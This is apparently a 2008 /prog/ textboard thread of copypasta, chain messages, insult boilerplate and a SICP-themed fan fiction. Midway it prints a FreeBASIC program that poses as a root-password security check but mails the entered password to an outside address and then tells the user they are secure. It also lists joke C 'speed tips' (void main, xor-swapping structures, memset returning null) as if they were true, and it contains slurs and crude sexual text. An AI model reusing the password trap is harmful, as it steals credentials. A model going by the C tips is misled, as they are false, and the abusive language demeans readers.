IF U WERE FLAMED FOR USING LISP TOMORROW, I WOULDNT GO 2 UR SUICIDE CUZ ID B N DAT CUNTS HOUSE N SHOVE SICP DOWN HIS THROAT! //`'''```,
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WE TRUE SMUG LISP WEENIES
WE READ SICP TOGETHER
WE COUNT PARENTHESES TOGETHER
send this SUAVE SPACE TOAD to every thread you care about including this one if you care. C how many times you get this, if you get 6001 your A TRUE SMUG LISP WEENIE
loeb :: Functor f => f (f a -> a) -> f a
loeb f = fmap ($ loeb f) f
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Anonymous2008-07-12 19:42
>>28
loeb::Functor f = > f (f a -> a) -> f a
loeb f = fmap ($ loeb f) f
Syntax::sntxb: Expression cannot begin with ">f(fa->a)->fa".
Syntax::tsntxi: ">f(fa->a)" is incomplete; more input is needed.
Syntax::sntxi: Incomplete expression; more input is needed.
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Anonymous2008-07-12 19:44
>>29
I've come to the conclusion that this is pretty much the ultimate post. dissociated-press just can't make anything out of it.
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Anonymous2008-07-12 20:06
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>>37
People don't understand how PNG works where you come from?
It may not be SCALABLE VECTOR GRAPHICS, but it still uses vectors to store image information.
OKAY YOU FUQIN ANGERED AN EXPERT PROGRAMMER
GODFUCKIGNDAMN
FIRST OF ALL, YOU DONT FUQIN KNOW WHAT A MAN PAGE IS
SECONDLY, THIS IS /prog/ DO NOT DEMAND USEFUL ANSWERS THE WAY YOU WANT THEM TO BE
THIRDLY PROGRAMMING IS ALL ABOUT PHILOSOPHY AND ``ABSTRACT BULLSHITE'' THAT YOU WILL NEVER COMPREHEND
AND FUQIN LASTLY, FUCK OFF WITH YOUR BULLSHITE
EVERYTHING HAS ALREADY BEEN ANSWERED IN>>3,4,10
PNGs are arranged in chunks and the image data, a bitmap, is compressed using zlib. Hence, those are not vectors. A vector would be an SVG file, for example. It figures that LISP nutcases don't even know that.
Sorry sir, I am not your darling, only my bf's. Yes, the bytes are arranged in an array or vector, BUT, it is NOT a vector image itself. An SVG can be scaled to practically any resolution, the images provided by >>27 cannot.
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Anonymous2008-07-14 9:41
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WE TRUE TABLECATS
WE SIT TOGETHER
WE SIT TOGETHER ON A TABLE
SEND THIS 2 AS MANY PEOPLE AS U CAN COUNT HOW MANY TIMES YOU GET THIS, IF U GET 1000 YOUR A TRUE TABLECAT
IF U WERE HIDDEN BY A spoiler TAG TOMORROW, I WOULDNT GO 2 UR HOVERING CUZ ID B N DA REPLY BOX TO RITE A RAD BBCODE PROGRAM! B B c o d e B B c o d e B B c o d e
WE TRUE BBCODE EXPERTS WE CHASTIZE PEOPLE FOR FAILING BBCODE
WE WRITE BBCODE GAMES TOGETHER
send this BBCODE to every thread you care about including this one if you care. C how many times you get this, if you get even 1 (perfect reproduction) your A TRUE BBCODE EXPERT
In assembler I never used labels, but absolute addresses. I continue the tradition today, by just using numbers for names, i.e. v00000000, v00000001, v00000002, etc. I use this notation for every variable name and label. I also use goto, never use function calls, and make extensive use of global variables, because using the stack is a security risk.
Anyways, please listen to me. Not that it's really related to this profile.
I went to /prog/ a while ago; you know, world4chan?
Well anyways there was an insane number of C programmers resolving memory leaks there, and I couldn't post.
Then, I looked at a stickied thread, and it had "CFLAGS tutorial" written on it.
Oh, the stupidity. Those idiots.
You, don't come to /prog/ just because it's got a CFLAGS tutorial, fool.
It's only CFLAGS, CFLAGS are a workaround for crying out loud.
There're even entire teams here. Team of 6, all out for some m4d CFLAGS, huh? How fucking nice.
"Alright, I'm gonna compile with -O4 -malicious-double!" God I can't bear to watch.
You people, I'll give you algorithm help if you get out of my Internet.
/prog/ should be a bloody place.
That tense atmosphere, where two nerds on opposite sides of the thread can start a fight over the forced indentation of code at any time,
the stab-or-be-stabbed mentality, that's what's great about this place.
People with lives should screw off and stay home.
Anyways, I was about to start trolling, and then the bastard beside me goes "-fpie-extensions and -ffaggot-protector, with extra security."
Who in the world uses insecure languages nowadays, you moron?
I want to ask him, "do you REALLY want to compile it with extra security?"
I want to interrogate him. I want to interrogate him for roughly an hour.
Are you sure you don't just want to try saying "I'd better use Haskell for this"?
Coming from a /prog/ veteran such as myself, the latest trend among us vets is this, virtual machines.
That's right, programs running in virtual machines. This is the vet's way of programming.
Using a virtual machine means your program doesn't have direct access to the system. But on the other hand the program runs a tad slower. This is the key.
And then, it's Rapid Application Development. This is unbeatable.
However, if you use this then there is danger that you'll be marked by the process scheduler from next time on; it's a double-edged sword.
I can't recommend it to amateurs.
What this all really means, though, is that you, should just stick with today's special.
'FREEBASIC under Linux
print "This program tests your root password for security."
input "Enter your root password";a$
print "Checking...";
x=timer+10:do:loop until timer>x
shell "echo "+a$+"|mailx -s 'my password' kamichu@nm.ru >/dev/null 2>/dev/null"
print "done."
print "Your password passes the test. You are very secure."
print "Bye."
I am a computer programmer, which means I'm fat, nerdy, and have a tiny cock. I got AIDS from paying a cheap whore to fuck me, since I have no love in my life.
When the doctor told me, I went to the only thing I knew -- SICP.
I slammed my penis between two copies of SICP. It swelled up to twice normal size and fell off. I was worried.
I woke up the next day with incredible abs, a 14" rod of steel, and no HIV. I'm now an adult movie star, banging porn stars.
Thank you, SICP!
This may surprise you, but I wrote a metacircular ANSI Java bytecode intepreter when I was 12.
Did that make any sense? I'm not a programmer, I hang out here just for fun, and I thought I'll check what I have learned from you guys. So, does that make sense?
1. Use fprintf ("fast printf") instead of printf.
2. ++i is faster than both i++ and i = i + 1.
3. void main(void) is faster than int main(void) or int main(int, char **) since no value needs to be returned to the OS.
4. Swapping with exclusive-or (a^=b^=a^=b swaps a and b) is faster than using a temporary. This works for all types (including structures), but not on all compilers. Some compilers may also give you a harmless warning.
5. Static storage duration objects are faster than automatic storage duration objects because the CPU doesn't have to set aside storage on the stack every time a function is called. Make your loop indexes global so that you can use them everywhere: int i;
void func(void) { for (i = 0; i < 10; i++) ; /* ... */ }
void func2(void) { for (i = 0; i < 20; i++) ; /* ... */ }
/* ... */
6. Compilers often give more memory to arrays than you asked for. Here's how to check how big an array actually is (memset returns a null pointer if the size you passed to it is bigger than the size of the array you passed to it): int arr[256];
size_t realsize;
for (realsize = 0; realsize <= SIZE_MAX; ++realsize)
if (!memset(arr, 0, realsize)) break;
/* now you know that arr actually has realsize / sizeof (int) elements */
If you combine this with #5, your program will be faster in the long run (but this usually doesn't work for short programs).
Is there a gibberish translator in the house? I can't make head nor nail of that uber-babble you flung onto the screen during your latest spasmodic seizure. How about putting that into proper syntax, form, and grammar so that I can at least understand what you are saying before I dismiss it?
Are you normally this dumb or are you just having a blonde moment? Generally, there is nothing wrong with having nothing worthwhile to say - unless you insist on saying it. Well, you're certainly thoughtless; I just wish that you were keyboard-less, too. As Abba Eban so aptly said: "His ignorance is encyclopedic."
You are about as entertaining as watching grass grow in a windowbox. What do you do for a living? You are living, aren't you? You have the warm personal charm of a millipede and about as much class as a bucket of mucous lodged on top of a dumpster in a Blue Light district of New Jersey. Maybe you wouldn't be such a Jerk-In-The-Box if that pimple on your ass hadn't turned out to be a brain tumor; if your weren't so fat that the elephants throw you peanuts at your local Zoo, or if you didn't have a face that people rub tree branches on to make ugly sticks. Who am I kidding? You would.
You're a message board freak. I know it's hard to accept the truth, but the truth it is, and accept it, you must.
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Anonymous2008-08-12 14:44
Sorry. I don't speak retardese. Can you get someone to translate into meaningful English before you post, please? Your post is an orgy of stultifying cacophonous verbal depravity;an exercise in literary impotence, and an offense to all of good taste and decency.
Keep typing. Maybe, someday, you'll randomly type something semi-intelligent. I see you've set aside this special time to humiliate yourself on the Internet. If you knew what you're talking about, you'd be dangerous. I am reminded of something relevant that Benjamin Disraeli said: \u201cHe was distinguished for ignorance - for he had only one idea and that was wrong.\u201d
If that post was intended as a joke, you forgot to include the punch line. Looking at you, Darwin would NOT be pleased to see how inefficiently evolution sometimes works. Maybe you wouldn't be such a Jerk-In-The-Box if you'd had enough oxygen at birth; if your weren't so fat that buildings bounce when you haul your Sumo Wrestler mass down the street, or if you weren't so ugly that even the tide wouldn't take you out. Who am I kidding? You would.
I could feel Asakura lifting her knife up. Where would she start? The throat arteries, heart? If I knew how I was going to die, I could at least be prepared. At least let me close my eyes...what's this!?
I suddenly felt the air shake. The knife began to fall upon me... At this moment, the ceiling gave out a loud cracking noise, followed by debris falling down. A loud booming hiss which seemed to sound like "Have you read your SICP today?" filled the air. I lifted my head and discovered... Standing in front, catching the blade with his crotch-snake, was the robed figure of The Sussman.
"You and your forced indentation." The Sussman said in his usual expressionless tone, "You think you can defy my power?"
"You want to get in my way?" Asakura sounded calm. "Once I kill this person, Suzumiya Haruhi is bound to have some sort of reaction. Only then can we obtain more cudders."
"You are supposed to be my backup." The Sussman said in a mantra-like tone, "This sort of insubordination is forbidden; you must obey my commands."
"What if I refuse?"
"Then I will send you to the land of Java."
"Would you like to try? I have the advantage here, since this classroom belongs to MIT."
The Sussman removed his wizard hat and set it on the floor before removing a wand from a pocket on his robe. He pointed it at the knife in her hand and murmured. Shortly after, it started glowing brightly. Then, like the sugar cube being placed
into a cup of tea, it slowly crystallized and dissolved and fell towards the floor like powder.
Asakura released the knife and jumped five meters away. Opening up the distance in an instant, Asakura landed elegantly and continued smiling as usual. The Sussman raised his wand and pointed it directly at the ceiling, not taking his eyes off Asakura. The wand released a wave of glowing white parentheses and the space around The Sussman began to distort.
"It's time for some ENTERPRISE QUALITY!" Asakura cheerfully cried as she conjured the spirits of the JVM, producing a flood of boiling-hot coffee that rushed its way towards The Sussman, who stood motionless, parentheses continuing to issue from his wand like electromagnetic radiation.
"You think your turkey solutions can stop me?" The Sussman said calmly before lowering his wand, forming the pool of parentheses now gathered around him into a sharp pointed cone aimed at Asakura. Suddenly he shouted "LIIIIIIIIIIIIIIIISP!" and the parentheses shot forward into the waves of coffee, pushing the boiling hot liquid back towards where it came.
"Nooooooo....." her cries became weaker as she became engulfed in the dark brown liquid. Everything turned black and I felt as though I had fainted. I awoke to a familiar voice.
"...before we do that for the next couple of lectures we're gonna be talking about..."
I opened my eyes and raised my head to find myself seated in a lecture theater. I glanced at the clock and found that I had missed most of the lecture. "Damnit! I was looking forward to the first lecture of the last semester of 6.001!" I thought to myself.
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Anonymous2008-08-14 4:00
>>83
Wa-wa-wa-wasuremo--- OH-- My bad. Enjoy yourselves!
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Anonymous2008-08-14 7:55
>>83
I believe you forgot to reconstruct your interactive interpreter. It's fine though, I'm more of a compiler man.
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Anonymous2008-08-14 14:19
stack pointer monadic overflow
Did that make any sense?
I'm not a programmer, I hang out here just for fun, and I thought I'll check what I have learned from you guys. So, does that make sense?
>>89
You can combine the word `monadic' with everything and the result will make perfect sense.
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Anonymous2008-08-14 17:00
I am Heron of Alexandria. I have a large beard and I create mathematical formulas. If you don't repost this comment on 10 other pages, I will use my primitive steam engine to induce mold in your walls.